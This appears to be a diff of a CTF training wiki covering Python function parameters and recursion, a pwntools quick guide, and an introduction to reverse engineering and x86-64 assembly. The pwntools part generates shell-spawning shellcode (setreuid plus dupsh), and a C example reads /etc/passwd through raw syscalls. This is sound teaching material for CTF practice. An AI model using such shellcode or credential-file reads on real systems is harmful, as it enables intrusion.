For other cases where n > 2, n must be passed explicitly, such as power(5, 3).

+

As you can see from the above example, default parameters can simplify function calls. When setting default parameters, there are a few things to keep in mind.

+

One is that the mandatory parameters come first and the default parameters come second, otherwise Python's interpreter will report an error (think about why the default parameters can't be placed in front of the mandatory parameters).

+

Second, how to set the default parameters.

+

When a function has more than one parameter, put the parameters that change a lot in front and the parameters that change a little in the back. The parameter with small changes can then be used as the default parameter.

+

What are the benefits of using default parameters? The biggest benefit is that it reduces the difficulty of calling the function.

+

For example, let's write a function to register a first grade student and pass in two parameters name and gender.

+
def enroll(name, gender):
+    print('name:', name)
+    print('gender:', gender)
+
+

In this way, the enroll() function is called with only two parameters passed in.

+
>>> enroll('Sarah', 'F')
+name: Sarah
+gender: F
+
+

What if I want to continue passing in information such as age, city, etc.? This would make calling the function much more complicated.

+

We can set age and city as default parameters.

+
def enroll(name, gender, age=6, city='Beijing'):
+    print('name:', name)
+    print('gender:', gender)
+    print('age:', age)
+    print('city:', city)
+
+

In this way, most students are not required to provide their age and city when registering, but only the two required parameters.

+
>>> enroll('Sarah', 'F')
+name: Sarah
+gender: F
+age: 6
+city: Beijing
+
+

Only students who do not match the default parameters will be required to provide additional information.

+
enroll('Bob', 'M', 7)
+enroll('Adam', 'M', city='Tianjin')
+
+

As you can see, the default arguments reduce the difficulty of function calls, and once more complex calls are needed, more arguments can be passed to achieve them. Whether it is a simple call or a complex call, the function only needs to define one.

+

When there are multiple default parameters, the call can either provide the default parameters in order, such as calling enroll('Bob', 'M', 7), meaning that, in addition to the two parameters name, gender, the last 1 parameter is applied to the parameter age, and the city parameter, since it is not provided, still uses the default value.

+

It is also possible to provide partial default parameters out of order. When providing partial default parameters out of order, you need to put the parameter name on. For example, calling enroll('Adam', 'M', city='Tianjin') means that the city parameter uses the value passed in and the other default parameters continue to use the default values.

+

Default parameters are useful, but they can fall into a hole if not used properly. The default parameters have one of the biggest pits, as demonstrated below.

+

First define a function, pass in a list, add an END and then return.

+
def add_end(L=[]):
+    L.append('END')
+    return L
+
+

When you call it normally, the result seems good:

+
>>> add_end([1, 2, 3])
+[1, 2, 3, 'END']
+>>> add_end(['x', 'y', 'z'])
+['x', 'y', 'z', 'END']
+
+

When you call with the default parameters, the result is also correct at first:

+
>>> add_end()
+['END']
+
+

However, when add_end() is called again, the result is not correct:

+
>>> add_end()
+['END', 'END']
+>>> add_end()
+['END', 'END', 'END']
+
+

Many beginners are puzzled by the fact that the default argument is [], but the function seems to "remember" the list after adding 'END' each time.

+

The reason for this is as follows.

+

When a Python function is defined, the value of the default parameter L is calculated, i.e. [], because the default parameter L is also a variable that points to the object [], and each time the function is called, if the content of L is changed, the content of the default parameter will change the next time it is called, and will no longer be the [] of the function when it is defined.

+

One thing to keep in mind when defining default parameters: they must point to invariant objects!

+

To modify the above example, we can use the invariant object None to implement.

+
def add_end(L=None):
+    if L is None:
+        L = []
+    L.append('END')
+    return L
+
+

Now, no matter how many times it is called, there will be no problem:

+
>>> add_end()
+['END']
+>>> add_end()
+['END']
+
+

Why do we design invariant objects like str and None? Because once the invariant object is created, the data inside the object cannot be modified, which reduces the errors caused by modifying the data. In addition, because the object is invariant, there is no need to add locks to read the object simultaneously in a multitasking environment, and there is no problem reading it simultaneously at all. When we write a program, if we can design an invariant object, then try to design it as invariant object.

+

Variable arguments

+

Variable parameters can also be defined in Python functions. As the name implies, a variable parameter is a variable number of arguments passed in, from 1, 2 to any number, and 0.

+

Let's take a math problem as an example, given a set of numbers a, b, c ......, calculate a^2 + b^2 + c^2 + .......

+

To define this function, we must determine the input parameters. Since the number of parameters is uncertain, we first think that we can pass a, b, c ...... as a list or a tuple, so that the function can be defined as follows.

+
def calc(numbers):
+    sum = 0
+    for n in numbers:
+        sum = sum + n * n
+    return sum
+
+

But to call it, a list or tuple needs to be assembled first:

+
>>> calc([1, 2, 3])
+14
+>>> calc((1, 3, 5, 7))
+84
+
+

If variable parameters are utilized, the way the function is called can be simplified as follows.

+
>>> calc(1, 2, 3)
+14
+>>> calc(1, 3, 5, 7)
+84
+
+

So, we change the parameters of the function to variable parameters.

+
def calc(*numbers):
+    sum = 0
+    for n in numbers:
+        sum = sum + n * n
+    return sum
+
+

Defining a variable parameter is simply a matter of adding a * sign in front of the parameter compared to defining a list or tuple parameter. Inside the function, the argument numbers is received as a tuple, so the function code remains exactly the same. However, the function can be called with any number of arguments, including 0 arguments.

+
>>> calc(1, 2)
+5
+>>> calc()
+0
+
+

What if I already have a list or tuple and want to call a mutable parameter? This can be done.

+
>>> nums = [1, 2, 3]
+>>> calc(nums[0], nums[1], nums[2])
+14
+
+

The problem is that it's too cumbersome, so Python allows you to add a * sign in front of a list or tuple and pass the elements of the list or tuple as mutable arguments.

+
>>> nums = [1, 2, 3]
+>>> calc(*nums)
+14
+
+

*nums means that all elements of the list nums are passed in as mutable arguments. This writing style is quite useful and common.

+

Keyword arguments

+

Variable arguments allow you to pass in zero or any number of arguments, which are automatically assembled into a tuple when the function is called, while keyword arguments allow you to pass in zero or any number of arguments with parameter names, which are automatically assembled into a dict inside the function. see the example.

+
def person(name, age, **kw):
+    print('name:', name, 'age:', age, 'other:', kw)
+
+

The function person accepts the keyword argument kw in addition to the mandatory arguments name and age. When calling this function, only the mandatory parameters can be passed.

+
>>> person('Michael', 30)
+name: Michael age: 30 other: {}
+
+

Any number of keyword parameters can also be passed in.

+
>>> person('Bob', 35, city='Beijing')
+name: Bob age: 35 other: {'city': 'Beijing'}
+>>> person('Adam', 45, gender='M', job='Engineer')
+name: Adam age: 45 other: {'gender': 'M', 'job': 'Engineer'}
+
+

What is the use of the keyword argument? It extends the function's functionality. For example, in the person function, we are guaranteed to receive the two parameters name and age, but if the caller would like to provide more parameters, we can receive them as well. Imagine you are doing a user registration function and everything is optional except for the user name and age which are required, using keyword arguments to define this function will satisfy the registration requirement.

+

Similar to variable parameters, you can also assemble a dict first, and then, convert that dict to a keyword parameter to pass in.

+
>>> extra = {'city': 'Beijing', 'job': 'Engineer'}
+>>> person('Jack', 24, city=extra['city'], job=extra['job'])
+name: Jack age: 24 other: {'city': 'Beijing', 'job': 'Engineer'}
+
+

Of course, the above complex call can be written in a simplified way as follows.

+
>>> extra = {'city': 'Beijing', 'job': 'Engineer'}
+>>> person('Jack', 24, **extra)
+name: Jack age: 24 other: {'city': 'Beijing', 'job': 'Engineer'}
+
+

**extra means that all key-values of the dict extra are passed into the **kw parameter of the function with keyword arguments, kw will get a dict, note that the dict obtained by kw is a copy of extra, changes to kw will not affect extra outside the function.

+

Naming keyword arguments

+

For keyword arguments, the caller of a function can pass in any unrestricted keyword argument. As for exactly what is passed in, it needs to be checked inside the function via kw.

+

Still using the person() function as an example, we want to check for city and job parameters.

+
def person(name, age, **kw):
+    if 'city' in kw:
+        # With city parameter
+        pass
+    if 'job' in kw:
+        # With job parameter
+        pass
+    print('name:', name, 'age:', age, 'other:', kw)
+
+

However, the caller can still pass in unrestricted keyword arguments.

+
>>> person('Jack', 24, city='Beijing', addr='Chaoyang', zipcode=123456)
+
+

If you want to restrict the names of the keyword arguments, you can use named keyword arguments, for example, to receive only city and job as keyword arguments. The functions defined in this way are as follows.

+
def person(name, age, *, city, job):
+    print(name, age, city, job)
+
+

Unlike the keyword parameter **kw, the named keyword parameter requires a special separator *, and the parameters following * are considered as named keyword parameters.

+

It is called as follows.

+
>>> person('Jack', 24, city='Beijing', job='Engineer')
+Jack 24 Beijing Engineer
+
+

If a function definition already has a variable argument, the named keyword argument that follows no longer needs a special separator *.

+
def person(name, age, *args, city, job):
+    print(name, age, args, city, job)
+
+

Named keyword parameters must be passed with a parameter name, unlike positional parameters. If the parameter name is not passed, the call will report an error.

+
>>> person('Jack', 24, 'Beijing', 'Engineer')
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: person() missing 2 required keyword-only arguments: 'city' and 'job'
+
+

Due to the missing parameter names city and job in the call, the Python interpreter treats the first two parameters as positional parameters and passes the last two parameters to *args, but the missing named keyword parameter causes an error.

+

Named keyword arguments can have default values, thus simplifying the call.

+
def person(name, age, *, city='Beijing', job):
+    print(name, age, city, job)
+
+

Since the named keyword parameter city has a default value, it can be invoked without passing the city parameter.

+
>>> person('Jack', 24, job='Engineer')
+Jack 24 Beijing Engineer
+
+

When using named keyword arguments, take special care to add a * as a special separator if there are no variable arguments. If * is missing, the Python interpreter will not recognize positional and named keyword arguments.

+
def person(name, age, city, job):
+    # Missing *, city and job are considered as location parameters
+    pass
+
+

Parameter combinations

+

To define functions in Python, you can use mandatory parameters, default parameters, variable parameters, keyword parameters, and named keyword parameters, all five of which can be used in combination. However, please note that the order of parameter definition must be: mandatory parameters, default parameters, variable parameters, named keyword parameters, and keyword parameters.

+

For example, to define a function with several of these parameters.

+
def f1(a, b, c=0, *args, **kw):
+    print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)
+
+def f2(a, b, c=0, *, d, **kw):
+    print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw)
+
+

When the function is called, the Python interpreter automatically passes in the corresponding arguments according to their positions and names.

+
>>> f1(1, 2)
+a = 1 b = 2 c = 0 args = () kw = {}
+>>> f1(1, 2, c=3)
+a = 1 b = 2 c = 3 args = () kw = {}
+>>> f1(1, 2, 3, 'a', 'b')
+a = 1 b = 2 c = 3 args = ('a', 'b') kw = {}
+>>> f1(1, 2, 3, 'a', 'b', x=99)
+a = 1 b = 2 c = 3 args = ('a', 'b') kw = {'x': 99}
+>>> f2(1, 2, d=99, ext=None)
+a = 1 b = 2 c = 0 d = 99 kw = {'ext': None}
+
+

The most amazing thing is that with a tuples and dict you can also call the above functions.

+
>>> args = (1, 2, 3, 4)
+>>> kw = {'d': 99, 'x': '#'}
+>>> f1(*args, **kw)
+a = 1 b = 2 c = 3 args = (4,) kw = {'d': 99, 'x': '#'}
+>>> args = (1, 2, 3)
+>>> kw = {'d': 88, 'x': '#'}
+>>> f2(*args, **kw)
+a = 1 b = 2 c = 3 d = 88 kw = {'x': '#'}
+
+

So, for any function, you can call it by something like func(*args, **kw), regardless of how its arguments are defined.

+

Although it is possible to combine up to 5 arguments, do not use too many combinations at the same time, otherwise the function interface is poorly understandable.

+

Summary

+

Python's functions have a very flexible argument form, allowing both simple calls and very complex arguments to be passed in.

+

The default argument must be an immutable object; if it's a mutable object, the program will run with a logic error!

+

Note the syntax for defining mutable and keyword arguments.

+

*args is a mutable parameter, args receives a tuples.

+

**kw is a keyword argument, kw receives a dict.

+

And the syntax of how to pass variable and keyword arguments when calling a function.

+

Variable parameters can be passed either directly: func(1, 2, 3) or by assembling a list or tuple first and then passing it through *args: func(*(1, 2, 3)).

+

Keyword arguments can either be passed directly: func(a=1, b=2), or assembled first in a dict and then passed in via *kw: func(**{'a': 1, 'b': 2}).

+

Using *args and **kw is the customary way of writing Python, but of course other parameter names can be used, but it is better to use the customary usage.

+

Named keyword arguments are intended to limit the parameter names that can be passed in by the caller, while providing default values.

+

Don't forget to write the separator * when defining named keyword parameters without mutable parameters, otherwise the definition will be a positional parameter.

+

Reference source code

+

var_args.py

+

kw_args.py

+

Recursive functions

+

Inside a function, other functions can be called. If a function calls itself internally, that function is recursive.

+

As an example, let's calculate the factorial n! = 1 x 2 x 3 x ... x n, represented by the function fact(n), it can be seen that

+

fact_n

+

So, fact(n) can be expressed as n x fact(n-1), with special treatment required only for n=1.

+

Thus, fact(n) is written out recursively as.

+
def fact(n):
+    if n==1:
+        return 1
+    return n * fact(n - 1)
+
+

The above is a recursive function. Try:

+
>>> fact(1)
+1
+>>> fact(5)
+120
+>>> fact(100)
+93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000
+
+

If we calculate fact(5), we can see the calculation process according to the function definition as follows.

+
===> fact(5)
+===> 5 * fact(4)
+===> 5 * (4 * fact(3))
+===> 5 * (4 * (3 * fact(2)))
+===> 5 * (4 * (3 * (2 * fact(1))))
+===> 5 * (4 * (3 * (2 * 1)))
+===> 5 * (4 * (3 * 2))
+===> 5 * (4 * 6)
+===> 5 * 24
+===> 120
+
+

Recursive functions have the advantage of being simple to define and logically clear. In theory, all recursive functions can be written as loops, but the logic of loops is not as clear as recursion.

+

Using recursive functions requires care to prevent stack overflows. In computers, function calls are implemented through a data structure called a stack. Whenever a function call is entered, a layer of stack frames is added to the stack, and whenever the function returns, a layer of stack frames is subtracted from the stack. Since the size of the stack is not infinite, too many recursive calls can cause the stack to overflow. Try fact(1000).

+
>>> fact(1000)
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+  File "<stdin>", line 4, in fact
+  ...
+  File "<stdin>", line 4, in fact
+RuntimeError: maximum recursion depth exceeded in comparison
+
+

The solution to recursive call stack overflow is to optimize it by tail recursion. In fact, tail recursion has the same effect as a loop, so it is okay to think of a loop as a special kind of tail recursive function.

+

Tail recursion means that the function itself is called when it returns, and, the return statement cannot contain an expression. In this way, the compiler or interpreter can optimize the tail recursion so that the recursion itself, no matter how many times it is called, only occupies one stack frame and no stack overflow occurs.

+

The fact(n) function above is not tail recursive because return n * fact(n - 1) introduces a multiplicative expression. To change to a tail recursive approach, a little more code is needed, mainly to pass the product of each step into the recursive function.

+
def fact(n):
+    return fact_iter(n, 1)
+
+def fact_iter(num, product):
+    if num == 1:
+        return product
+    return fact_iter(num - 1, num * product)
+
+

As you can see, return fact_iter(num - 1, num * product) returns only the recursive function itself, num - 1 and num * product are calculated before the function call and do not affect the function call.

+

The call to fact(5) corresponding to fact_iter(5, 1) is as follows.

+
===> fact_iter(5, 1)
+===> fact_iter(4, 5)
+===> fact_iter(3, 20)
+===> fact_iter(2, 60)
+===> fact_iter(1, 120)
+===> 120
+
+

When tail recursive calls are made, the stack does not grow if optimizations are made, so no matter how many calls are made, it will not cause the stack to overflow.

+

Unfortunately, most programming languages are not optimized for tail recursion, and neither is the Python interpreter, so even if you change the fact(n) function above to a tail recursive approach, it will still result in a stack overflow.

+

Summary

+

The advantage of using recursive functions is that the logic is simple and clear, and the disadvantage is that calls that are too deep can lead to stack overflow.

+

Languages optimized for tail recursion can prevent stack overflows by tail recursion. Tail recursion is in fact equivalent to looping, and programming languages that don't have looping statements can only implement loops via tail recursion.

+

Python's standard interpreter is not optimized for tail recursion, and any recursive function has a stack overflow problem.

+

Reference source code

+

recur.py

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Python_4/index.html b/CTF/Python_4/index.html new file mode 100644 index 000000000..93e1463fb --- /dev/null +++ b/CTF/Python_4/index.html @@ -0,0 +1,8718 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Python Programming Quick Guide - CTF Related - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Python Programming Quick Guide - CTF Related

+
+

https://yulizi123.github.io/tutorials/python-basic/basic/

+

https://docs.python.org/3/

+

https://docs.pwntools.com/en/stable/

+
+

Module installation

+

There are many ways to install external modules, and the form of installation varies from system to system. Installing Python packages on Windows, for example, might even kill you. Haha.

+

What is an external module?

+

An external module is what you use when you import something into a python script.

+
import numpy as np
+import matplotlib.pyplot as plt
+
+

Numpy and matplotlib are both external modules that need to be installed. They are not part of python's own modules.

+

Installing Numpy

+

For example, there are many ways to install modules for scientific operations, such as numpy. On Windows, the easiest way is to install Anaconda, which has many necessary external modules. Install one, and save yourself the trouble of installing others.

+

However, I want to talk about downloading the installation package and installing it on Windows. For example, on the Numpy installer website, you can find various versions of numpy.

+

Module installation

+

In NumPy 1.10.2, we can find installers for Windows, but no Windows installers have been added to the new version yet. Then choose the appropriate "exe" installer for your system and python version. Download and install.

+

Module installation

+

If you are on MacOS or Linux, this external module is much easier to install. You can easily install it by typing a phrase into your computer's Terminal. Windows seems to have to be set up in a special way to do the same thing, I don't know... you might want to look it up. On my computer, the Terminal looks like this.

+

Module Installation

+

Then you can install it if you type in this form.

+
$ pip install the name of the module you want
+
+

For example

+
$ pip install numpy # This is for the python2+ version
+$ pip3 install numpy # This is for the python3+ version
+
+

Updating external modules

+

Updating external modules with pip is very simple. All you need to do is type the following command into Terminal. The -U here means update.

+
$ pip install -U numpy # This is for the python2+ version
+$ pip3 install -U numpy # This is for the python3+ version
+
+

pwntools

+

pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

+

The primary location for this documentation is docs.pwntools.com, which uses readthedocs. It comes in three primary flavors:

+ +

Installation

+

Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).

+

Prerequisites

+

To get the most out of pwntools, you should install the following system libraries.

+ +

Released Version

+

pwntools is available as a pip package for both Python2 and Python3.

+

Python3

+
$ apt-get update
+$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+$ python3 -m pip install --upgrade pip
+$ python3 -m pip install --upgrade pwntools
+
+

Python2 (Deprecated)

+

NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.

+

Additionally, due to pip dropping support for Python2, a specific version of pip must be installed.

+
$ apt-get update
+$ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
+$ python2 -m pip install --upgrade pip==20.3.4
+$ python2 -m pip install --upgrade pwntools
+
+

Command-Line Tools

+

When installed with sudo the above commands will install Pwntools’ command-line tools to somewhere like /usr/bin.

+

However, if you run as an unprivileged user, you may see a warning message that looks like this:

+

Follow the instructions listed and add ~/.local/bin to your $PATH environment variable.

+

Development

+

If you are hacking on Pwntools locally, you’ll want to do something like this:

+
$ git clone https://github.com/Gallopsled/pwntools
+$ pip install --upgrade --editable ./pwntools
+
+

Getting Started

+

To get your feet wet with pwntools, let’s first go through a few examples.

+

When writing exploits, pwntools generally follows the “kitchen sink” approach.

+
>>> from pwn import *
+
+

This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.

+

A full list of everything that is imported is available from pwn import *.

+

Tutorials

+

A series of tutorials for Pwntools exists online, at https://github.com/Gallopsled/pwntools-tutorial#readme

+

Making Connections

+

You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its pwnlib.tubes module.

+

This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via pwnlib.tubes.remote.

+
>>> conn = remote('ftp.ubuntu.com',21)
+>>> conn.recvline() # doctest: +ELLIPSIS
+b'220 ...'
+>>> conn.send(b'USER anonymous\r\n')
+>>> conn.recvuntil(b' ', drop=True)
+b'331'
+>>> conn.recvline()
+b'Please specify the password.\r\n'
+>>> conn.close()
+
+

It’s also easy to spin up a listener

+
>>> l = listen()
+>>> r = remote('localhost', l.lport)
+>>> c = l.wait_for_connection()
+>>> r.send(b'hello')
+>>> c.recv()
+b'hello'
+
+

Interacting with processes is easy thanks to the pwnlib.tubes.process.

+
>>> sh = process('/bin/sh')
+>>> sh.sendline(b'sleep 3; echo hello world;')
+>>> sh.recvline(timeout=1)
+b''
+>>> sh.recvline(timeout=5)
+b'hello world\n'
+>>> sh.close()
+
+

Not only can you interact with processes programmatically, but you can actually interact with processes.

+
>>> sh.interactive() # doctest: +SKIP
+$ whoami
+user
+
+

There’s even an SSH module for when you’ve got to SSH into a box to perform a local/setuid exploit with pwnlib.tubes.ssh. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a process tube.

+
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+>>> shell['whoami']
+b'bandit0'
+>>> shell.download_file('/etc/motd')
+>>> sh = shell.run('sh')
+>>> sh.sendline(b'sleep 3; echo hello world;') 
+>>> sh.recvline(timeout=1)
+b''
+>>> sh.recvline(timeout=5)
+b'hello world\n'
+>>> shell.close()
+
+

Packing Integers

+

A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually, folks resort to the built-in struct module.

+

pwntools makes this easier with pwnlib.util.packing. No more remembering unpacking codes, and littering your code with helper routines.

+
>>> import struct
+>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
+True
+>>> leet = unhex('37130000')
+>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
+True
+
+

The packing/unpacking operations are defined for many common bit-widths.

+
>>> u8(b'A') == 0x41
+True
+
+

Setting the Target Architecture and OS

+

The target architecture can generally be specified as an argument to the routine that requires it.

+
>>> asm('nop')
+b'\x90'
+>>> asm('nop', arch='arm')
+b'\x00\xf0 \xe3'
+
+

However, it can also be set once in the global context. The operating system, word size, and endianness can also be set here.

+
>>> context.arch      = 'i386'
+>>> context.os        = 'linux'
+>>> context.endian    = 'little'
+>>> context.word_size = 32
+
+

Additionally, you can use a shorthand to set all of the values at once.

+
>>> asm('nop')
+b'\x90'
+>>> context(arch='arm', os='linux', endian='big', word_size=32)
+>>> asm('nop')
+b'\xe3 \xf0\x00'
+
+

Setting Logging Verbosity

+

You can control the verbosity of the standard pwntools logging via context.

+

For example, setting

+
>>> context.log_level = 'debug'
+
+

This will cause all of the data sent and received by a tube to be printed on the screen.

+

Assembly and Disassembly

+

Never again will you need to run some already-assembled pile of shellcode from the internet! The pwnlib.asm module is full of awesome.

+
>>> enhex(asm('mov eax, 0'))
+'b800000000'
+
+

But if you do, it’s easy to suss out!

+
>>> print(disasm(unhex('6a0258cd80ebf9')))
+   0:   6a 02                   push   0x2
+   2:   58                      pop    eax
+   3:   cd 80                   int    0x80
+   5:   eb f9                   jmp    0x0
+
+

However, you shouldn’t even need to write your own shellcode most of the time! pwntools comes with the pwnlib.shellcraft module, which is loaded with useful time-saving shellcodes.

+

Let’s say that we want to setreuid(getuid(), getuid()) followed by duping file descriptor 4 to stdin, stdout, and stderr, and then pop a shell!

+
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
+'6a3158cd80...'
+
+

Misc Tools

+

Never write another hexdump, thanks to pwnlib.util.fiddling.

+

Find offsets in your buffer that cause a crash, thanks to pwnlib.cyclic.

+
>>> cyclic(20)
+b'aaaabaaacaaadaaaeaaa'
+>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
+>>> cyclic_find(b'faab')
+120
+
+

ELF Manipulation

+

Stop hard-coding things! Look them up at runtime with pwnlib.elf.

+
>>> e = ELF('/bin/cat')
+>>> print(hex(e.address)) #doctest: +SKIP
+0x400000
+>>> print(hex(e.symbols['write'])) #doctest: +SKIP
+0x401680
+>>> print(hex(e.got['write'])) #doctest: +SKIP
+0x60b070
+>>> print(hex(e.plt['write'])) #doctest: +SKIP
+0x401680
+
+

You can even patch and save the files.

+
>>> e = ELF('/bin/cat')
+>>> e.read(e.address, 4)
+b'\x7fELF'
+>>> e.asm(e.address, 'ret')
+>>> e.save('/tmp/quiet-cat')
+>>> disasm(open('/tmp/quiet-cat','rb').read(1))
+'   0:   c3                      ret'
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/RE/index.html b/CTF/RE/index.html new file mode 100644 index 000000000..4617c9bc2 --- /dev/null +++ b/CTF/RE/index.html @@ -0,0 +1,9168 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Reverse Engineering - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Reverse Engineering

+
+

https://ctf101.org/reverse-engineering/overview/

+
+

Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human-readable format.

+

Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.

+
    +
  • Assembly / Machine Code
  • +
  • The C Programming Language
  • +
  • Disassemblers
  • +
  • Decompilers
  • +
+

Assembly/Machine Code

+

Machine Code or Assembly is code that has been formatted for direct execution by a CPU. Machine Code is why readable programming languages like C, when compiled, cannot be reversed into source code (well Decompilers can sort of, but more on that later).

+

From Source to Compilation

+

Godbolt shows the differences in machine code generated by various compilers.

+

For example, if we have a simple C++ function:

+
#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    char c;
+    int fd = syscall(2, "/etc/passwd", 0);
+    while (syscall(0, fd, &c, 1)) {
+        putchar(c);
+    }
+}
+
+

We can see the compilation results in some verbose instructions for the CPU:

+
.LC0:
+  .string "/etc/passwd"
+main:
+  push rbp
+  mov rbp, rsp
+  sub rsp, 16
+  mov edx, 0
+  mov esi, OFFSET FLAT:.LC0
+  mov edi, 2
+  mov eax, 0
+  call syscall
+  mov DWORD PTR [rbp-4], eax
+.L3:
+  lea rdx, [rbp-5]
+  mov eax, DWORD PTR [rbp-4]
+  mov ecx, 1
+  mov esi, eax
+  mov edi, 0
+  mov eax, 0
+  call syscall
+  test rax, rax
+  setne al
+  test al, al
+  je .L2
+  movzx eax, BYTE PTR [rbp-5]
+  movsx eax, al
+  mov edi, eax
+  call putchar
+  jmp .L3
+.L2:
+  mov eax, 0
+  leave
+  ret
+
+

This is a one-way process for compiled languages as there is no way to generate sources from machine code. While the machine code may seem unintelligible, the extremely basic functions can be interpreted with some practice.

+

x86-64

+

x86-64 or amd64 or i64 is a 64-bit Complex Instruction Set Computing (CISC) architecture. This basically means that the registers used for this architecture extend an extra 32 bits on Intel's x86 architecture. CISC means that a single instruction can do a bunch of different things at once such as memory accesses, register reads, etc. It is also a variable-length instruction set which means different instructions can be of diferent sizes ranging from 1 to 16 bytes long. And finally, x86-64 allows for multi-sized register access which means that you can access certain parts of a register that are different sizes.

+

x86-64 Registers

+

x86-64 registers behave similarly to other architectures. A key component of x86-64 registers is multi-sized access, meaning the register RAX can have its lower 32-bits accessed with EAX. The next lower 16 bits can be accessed with AX and the lowest 8 bits can be accessed with AL, allowing the computer to make optimizations that boost program execution. Multi-access Register

+

x86-64 has plenty of registers, including rax, rbx, rcx, rdx, rdi, rsi, rsp, rip, r8-r15, and more! But some registers serve special purposes.

+

The special registers include: - RIP: the instruction pointer - RSP: the stack pointer - RBP: the base pointer

+

Instructions

+

An instruction represents a single operation for the CPU to perform.

+

There are different types of instructions including:

+
    +
  • Data movement: mov rax, [rsp - 0x40]
  • +
  • Arithmetic: add rbx, rcx
  • +
  • Control-flow: jne 0x8000400
  • +
+

Because x86-64 is a CISC architecture, instructions can be quite complex for machine code such as repne scasb which repeats up to ECX times over memory at EDI looking for NULL byte (0x00), decrementing ECX each byte (Essentially strlen() in a single instruction!)

+

It is important to remember that an instruction really is just memory, this idea will become useful with Return Oriented Programming or ROP.

+
+

Instructions, numbers, strings, everything! Always represented in hex.

+
+
add rax, rbx
+mov rax, 0xdeadbeef
+mov rax, [0xdeadbeef] == 67 48 8b 05 ef be ad de
+"Hello" == 48 65 6c 6c 6f
+== 48 01 d8
+== 48 c7 c0 ef be ad de
+
+

Execution

+

What should the CPU execute? This is determined by the RIP register where IP means instruction pointer. Execution follows the pattern: fetch the instruction at the address in RIP, decode it, and run it.

+

Examples

+
    +
  1. mov rax, 0xdeadbeef
  2. +
+

Here the operation mov is moving the "immediate" 0xdeadbeef into the register RAX

+
    +
  1. mov rax, [0xdeadbeef + rbx * 4]
  2. +
+

Here the operation mov is moving the data at the address of [0xdeadbeef + RBX*4] into the register RAX. When brackets are used, you can think of the program as getting the content from that effective address.

+

Example Execution

+
-> 0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x0804000
+   0x080400a: add, rax, rbx                  RAX = 0x0
+   0x080400d: inc rbx                        RBX = 0x0
+   0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+-> 0x0804005: mov ebx, 0x1234                RIP = 0x0804005
+   0x080400a: add, rax, rbx                  RAX = 0xdeadbeef
+   0x080400d: inc rbx                        RBX = 0x0
+   0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x080400a
+-> 0x080400a: add, rax, rbx                  RAX = 0xdeadbeef
+   0x080400d: inc rbx                        RBX = 0x1234
+   0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x080400d
+   0x080400a: add, rax, rbx                  RAX = 0xdeadd123
+-> 0x080400d: inc rbx                        RBX = 0x1234
+   0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x0804010
+   0x080400a: add, rax, rbx                  RAX = 0xdeadd123
+   0x080400d: inc rbx                        RBX = 0x1235
+-> 0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x0804013
